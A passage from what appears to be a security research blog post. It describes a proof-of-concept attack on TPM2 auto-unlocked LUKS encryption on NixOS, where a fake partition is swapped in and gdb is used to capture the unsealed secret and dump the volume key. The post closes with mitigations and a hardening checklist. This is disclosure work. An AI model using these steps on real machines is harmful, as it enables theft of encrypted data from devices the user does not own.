BUG_REPORT_URL="https://bugzilla.redhat.com/"
REDHAT_BUGZILLA_PRODUCT="Fedora"
REDHAT_BUGZILLA_PRODUCT_VERSION=41
REDHAT_SUPPORT_PRODUCT="Fedora"
REDHAT_SUPPORT_PRODUCT_VERSION=41
SUPPORT_END=2025-05-13
VARIANT="Server Edition"
VARIANT_ID=server

Success! Apart from researching all of the tools and their internals this has been a rather simple process. I would even claim that with some preparation we can repeat this reliably in under 10 minutes. All it takes is two disk swaps and a few reboots.

Finally I can rest easy knowing that my roommate can make a surprise backup of my server's data while I'm away 🎉. A solid 3-2-1(+1) strategy.

Proof-of-concept exploitation of a NixOS machine

This will be very similar to the previous PoC, so I skipped a lot of the boilerplate this time. If you are not specifically interested in NixOS or systemd-cryptenroll, you can jump to the next section by clicking here.

Secure boot on NixOS is currently implemented by the awesome lanzaboote project, which does some things differently than what we just saw on Fedora. Most notably we will enroll our own secure boot keys (and can wipe the microsoft keys), our kernel and initrd will both be fully signed as a UKI image and systemd-boot will not allow you to edit the command line. Another small difference to the Fedora setup is that we will use systemd-cryptenroll instead of clevis.

In any case, the overall exploitation will be very similar, the NixOS initrd also doesn't verify LUKS identities (as of January 2025).

System setup

Fortunately, the setup is extremely simple with lanzaboote. I recommend having a look at their Quick Start Guide in case you don't know the project already. I've added the full configuration of the test machine here, in case you want to replicate this. The final setup steps were:

# Clear secure boot keys, start nixos live image, copy flake to live image, then:
[root@nixos]# alias nix='nix --experimental-features "nix-command flakes"'
[root@nixos]# nix build --print-out-paths .#nixosConfigurations.nixos.config.system.build.diskoScript
/nix/store/1a51ykfsdnc0rpzlawyy7rvb889l6874-disko
[root@nixos]# nix build --print-out-paths .#nixosConfigurations.nixos.config.system.build.toplevel
/nix/store/5yqhbkqqw1kcr13157z4am1r5i02ll0d-nixos-system-nixos-25.05.20250110.130595e

# Format and install:
[root@nixos]# /nix/store/1a51ykfsdnc0rpzlawyy7rvb889l6874-disko  # Format disk(s)
[root@nixos]# nixos-install --no-root-password --system \        # Install system
                /nix/store/5yqhbkqqw1kcr13157z4am1r5i02ll0d-nixos-system-nixos-25.05.20250110.130595e
[root@nixos]# nixos-enter --mountpoint /mnt -- sbctl create-keys # Create and enroll secure boot keys, need to rerun install afterwards to make lanzaboote happy

# Reboot and enroll LUKS key:
[root@nixos]# systemd-cryptenroll /dev/disk/by-partlabel/disk-main-luks --tpm2-device=auto --tpm2-pcrs=0+2+4+7
# ... Enter password ...
New TPM2 token enrolled as key slot 1.

Inspecting the system

This step works in the same was as it did for Fedora, but we will find that the NixOS initrd works a bit differently - it itself is a kind of mini-NixOS. The important information is the following:

  • The mount commands for filesystems are in systemd units, which usually use UUIDs, labels or partlables to identify disks. In our case it will be partlabels, so we don't even have to fake any UUIDs.
  • Once the initrd decrypts the root partition, it searches for the toplevel derivation by resolving the init=/nix/store/<hash>-nixos-system-.../init path
  • This toplevel derivation contains a prepare-root binary which is the first one that is executed. This is our entry point.

LUKS partition backup and overwrite

Next, we overwrite the LUKS partition and overwrite it with our fake. We can reuse the same fake partition with the Alpine image as on Fedora as it has the advantage of being very small. If the user has /nix on a separate partition it may be simpler to just build a small NixOS system and link the resulting toplevel derivation to the path expected by the initrd.

Rebooting the original system with the modified disk will now yield an Alpine root shell. After running tpm2_pcrread we can verify that we have not changed any PCRs with our modifications. To understand the differences of systemd-cryptenroll over clevis, let's continue with some more detail from here:

Extracting the volume key

Once again we will inspect the LUKS header of our backup, which I've also copied over to the boot partition for easy access. We see that systemd-cryptenroll creates a token in the LUKS header, similar to clevis:

[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak
LUKS header information
Version:        2
Epoch:          6
Metadata area:  16384 [bytes]
Keyslots area:  16744448 [bytes]
UUID:           5a9d9566-aae2-49b9-abf5-c6f0a887159c
# [...]
Tokens:
  0: systemd-tpm2
    Keyslot:    1
# [...]

[root@localhost]# cryptsetup token export --token-id 0 /mnt/luks-original.bak | tee token.json
{
  "type": "systemd-tpm2",
  "keyslots": [ "1" ],
  "tpm2-blob": "AJ4AIPtjVjiz90zIPEHgRoJVpsix/e1tBRaMkOv0tWEBBKegABC5vMp9mQt81TjlRmtEhca98VfRuXxAoYcB5yjzShhTZhfCzwgXpC7rd5TETxBhvtWbo4BQULmZT29InkqpXRaO/b7DyXqLDQusdAfQO/lQSVxwWjVR576OFJUvAMPN6XEVyH8jDFd+F5FtuaEsYS4t46ThxMWa10ttRwBOAAgACwAABBIAIE8jssxPAKj8Duc+hrtEmIZxQS0Hv3Uptj92Ud33KVpBABAAIDBubaOpjc3KX/Lj0jHbe9plgv9wTIKYsUtFCKOGotRU",
  "tpm2-pcrs": [ 0, 2, 4, 7 ],
  "tpm2-pcr-bank": "sha256",
  "tpm2-policy-hash": "4f23b2cc4f00a8fc0ee73e86bb44988671412d07bf7529b63f7651ddf7295a41",
  "tpm2_srk": "gQAAAQAiAAt+KklPEEbTTiWnmjC8TapUFILGmpUxJHOLyhfoPjJpFwAAAAEAWgAjAAsAAwRyAAAABgCAAEMAEAADABAAIB/V/x4OEuiI/TAynXAqG6pJHrJH9GJoEtgjqa+C0AlkACDBNasZylLB/v5PdYsWfJgE/MXZeUi2LMVE/FXfbsyDAw=="
}

The token format is slightly different to that from clevis, it just contains all necessarey information on the toplevel without a roundtrip through JWE. To understand how the values are supposed to be used, we need to understand what systemd-cryptenroll does to unlock the disk. In the systemd source code we find that the responsible function is called static int tpm2_unseal(...). Instead of tediously replicating all the unmarshalling logic, we can just call systemd-cryptsetup through gdb and dump the decrypted secret after that function was called:

gdb --args systemd-cryptsetup attach test /mnt/luks-original.img
# [...]
(gdb) break tpm2_unseal
Function "tpm2_unseal" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (tpm2_unseal) pending.
(gdb) run
Breakpoint 1, 0x00007ffff7bb2f90 in tpm2_unseal ()
(gdb) backtrace
#0  0x00007ffff7bb2f90 in tpm2_unseal () from libsystemd-shared-256.so
#1  0x00007ffff721d7e7 in acquire_luks2_key () from libcryptsetup-token-systemd-tpm2.so
#2  0x00007ffff721c60f in cryptsetup_token_open_pin () from libcryptsetup-token-systemd-tpm2.so
#3  0x00007ffff721caf5 in cryptsetup_token_open () from libcryptsetup-token-systemd-tpm2.so
# ...

By investigating the functions shown in the callstack, we see that right before cryptsetup_token_open_pin() returns, it base64 encodes the unsealed secret which is later used as the slot 1 LUKS password. So we just set a breakpoint to the base64 encoding function and print the secret once it returns (the result pointer is the third argument, so it will be passed via rcx):

(gdb) break base64mem_full
(gdb) continue
(gdb) info registers
# ...
rcx            0x7fffffffc920      140737488341280 # pointer to base64 result
# ...
(gdb) set $a = $rcx # remember where the result will be stored
(gdb) finish
(gdb) printf "%s\n", *(char**)$a
qvramS8M9tetETI1I53p6HWqh1avSqsj/uqpQbvE90s=

Let's test this password by dumping the volume key.

[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak --dump-volume-key --volume-key-file volume-key.txt \
                    --key-file <(echo -n "qvramS8M9tetETI1I53p6HWqh1avSqsj/uqpQbvE90s=")
# [...]
Are you sure? (Type 'yes' in capital letters): YES
LUKS header information for copy.img
Cipher name:    aes
Cipher mode:    xts-plain64
Payload offset: 32768
UUID:           5a9d9566-aae2-49b9-abf5-c6f0a887159c
MK bits:        512
Key stored to file volume-key.txt.

[root@localhost]# cat volume-key.txt | hexdump
0000000 065a cc94 26c0 b0cc 4bcf bf73 e9bb 3c16
0000010 95da 149e 6881 1a5b e7f5 4b59 4bc9 db83
0000020 6008 d237 29a8 9fc7 7a83 dbbf 816e 5ad0
0000030 20fa 03f6 effd 39f5 1f78 8779 c501 35b6
0000040

Nice, we've successfully extracted the volume key again! Finally, we need to restore the original disk header and are then able to decrypt the whole disk. We can either decrypt it by specifying the volume key explicitly, or simply enter the obtained password. Since this is exactly the same as on Fedora, I have not included it here.

Crude implementation of PCR15 verification

I've looked at all of this together with my friend @PatrickDaG, who has quickly written a NixOS module which you can adapt to add a crude form of PCR 15 verification. Ideally we need something proper upstreamed into nixpkgs, but ensuring the order of decryption is not super simple.

What now?

It's obviously a pity that the default initrd implementations available on most distributions don't include a verification step out of the box. But there's really nobody to blame here, as none of the distributions advertise automatic TPM unlocking as a secure or even supported configuration, and the guides I've linked to are mostly blog posts from other hobbyists - who may just not have known about this issue.

If you happen to have written about this before, please update your post(s) to make your readers aware of the implications! Thank you!

Unfortunately, I have also not found a simple solution that I can recommend to you right now to actually fix the issue (except for NixOS, see above). Enabling mandatory LUKS key measurement and PCR 15 verification in the initrd is just not something that is easily available as a module or script right now (January 2025), so you'd have to implement it yourself.

From what I learned when researching this, a proper implementation would need to at least:

  • Predict the value of PCR 15 value at initrd generation time
  • Implicitly sign this value by adding it to the initrd
  • Extend PCR 15 at boot time with the volume key of every decrypted LUKS volume, while ensuring in a deterministic decryption order
  • Verify PCR 15 against the known and signed value before utilizing any data from one of the the encrypted disks

The easiest way to protect your data right now is to bite the bullet and add a TPM PIN, for example by using systemd-cryptenroll --tpm2-with-pin=yes [...] when enrolling your key.

Conclusion

We've successfully carried out a filesystem confusion attack on two completely different systems to extract their secret volume key, and have seen that the majority of articles about TPM2 auto-unlock setups are likely vulnerable to this attack.

We learned that this problem is not easily fixed, as it requires an additional verification step that cannot simply be activated on most distributions at present. It is critical to ensure that there is an unbroken chain of trust from the bootloader to the actual system.

Here is a checklist of things to consider when setting up TPM2 auto-unlock:

  • Your kernel and initramfs are both signed and verified (UKI or MOK), or you are using PCR 9 together with a shim that hashes the images at boot time.
  • You have enrolled a LUKS key in the TPM2 on at least PCR 7 (+9 if necessary).
  • If you are decrypting multiple devices in the initrd, their decryption order is deterministic.
  • After decryption - and before any user executable is called - the initramfs verifies the identity of all encrypted disks, preferably by measuring a derivative of the volume key into PCR 15 for each disk.
  • Your initrd's emergency shell (if any) is password-protected.
  • Your bootloader does not allow you to alter the kernel command line, or you've included a PCR used in the LUKS key enrollment that depends on the kernel command line.

Thank you for taking the time to read this article - I hope you found it both interesting and enjoyable 😊.


If you'd like to send me feedback or just reach out, feel free to contact me on Matrix!

Discussion threads for this post: